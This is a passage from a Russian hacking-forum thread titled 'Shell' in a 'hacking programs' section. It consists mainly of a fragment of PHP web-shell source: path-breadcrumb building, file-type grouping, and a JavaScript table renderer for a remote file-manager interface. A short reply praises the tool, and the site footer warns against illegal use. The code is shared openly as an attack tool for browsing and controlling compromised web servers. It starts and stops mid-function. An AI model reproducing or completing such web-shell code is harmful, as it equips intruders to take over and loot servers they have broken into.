$d=str_replace("//","/",$d);

$n=explode("/",$d);
unset($n[count($n)-1]);

$path="";
for ($i=0; $i&lt;count($n); $i++) {
$path="$path$n[$i]/";
if ($i==0) $path=strtoupper($path);
$paths[]=$path;
}

$out="";
$sum=0;
$gr=70;
for ($i=0; $i&lt;count($n); $i++) {
$out.="&lt;a href=$self?c=l&d=".urlencode($paths[$i])." class=white&gt;";
if (strlen($d)&gt;$gr && $i&gt;0 && $i+1&lt;count($n)) {
if (strlen($d)-$sum&gt;$gr) {
$out.="••";
$sum+=strlen($n[$i]);
}
else
$out.=$n[$i];
}
else
if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
$out.="/&lt;/a&gt;";

}

return $out;
return "&lt;font size=-2&gt;$d&lt;/font&gt;";
}

$ext=array();
$ext['html']=array('html','htm','shtml');
$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg');
$ext['exe']=array('exe','com','pif','src','lnk');
$ext['php']=array('php','phtml','php3','php4','inc');
$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg');


echo "\n\n\n&lt;script&gt;\nfunction tr(";
for ($i=0; $i&lt;strlen($cn); $i++) {
echo "a$i,";
}
echo "x) {\ndocument.write(\"&lt;tr bgcolor=#eeeeee";
// echo " onMouseOver='this.style.value=\\\"line2\\\"' onMouseOut='this.style.value=\\\"line\\\"'&gt;";
echo " onMouseOver='this.style.backgroundColor=\\\"#FFFFCC\\\"' onMouseOut='this.style.backgroundColor=\\\"\\\"'&gt;";
for ($i=0; $i&lt;strlen($cn); $i++) {
echo '&lt;td align='.$cn_align[$cn[$i]].' class=line ';
switch ($cn[$i]) {
case 's': case 'c': case '1': case '2': case '3': case 't':
echo ' nowrap';
}
echo "&gt;";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "\"+a$i+\"";
if ($cn[$i]!='t' && $cn[$i]!='n') echo "\xA0";
echo "&lt;/td&gt;";
}
echo "&lt;/tr&gt;\");\n}";
echo "\n\n&lt;/script&gt;\n\n\n";


//phpinfo();
//echo implode(" | ",$cp);
echo '&lt;table border=0 cellspacing=2 cellpadding=0 bgcolor=#cccccc
class=window align=center width=60%&gt;&lt;form name=main&gt;';

echo '&lt;tr&gt;&lt;td colspan='.strlen($cn).' bgcolor=#0A246A background="'.
$self.'?c=img&name=fon&r=" class=windowtitle&gt;';

echo '&lt;table width=100% border=0 cellspacing=0 cellpadding=2 class=windowtitle&gt;&lt;tr&gt;&lt;td&gt;'.
'&lt;a href='.$self.'&gt;&lt;img src='.$self.'?c=img&name=dir border=0&gt;&lt;/a&gt;'.
up2($d.$f).'&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;';

echo '&lt;/td&gt;&lt;/tr&gt;'.
'&l
Post #: 3
RE: Шелл - 2010-10-16 03:37:07.160000   
LSD66

Сообщений: 212
Оценки: 0
Присоединился: 2009-12-26 19:06:56.590000
вот это жесть
Post #: 4
Страниц:  [1]
Все форумы >> [Программы для взлома] >> Шелл







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.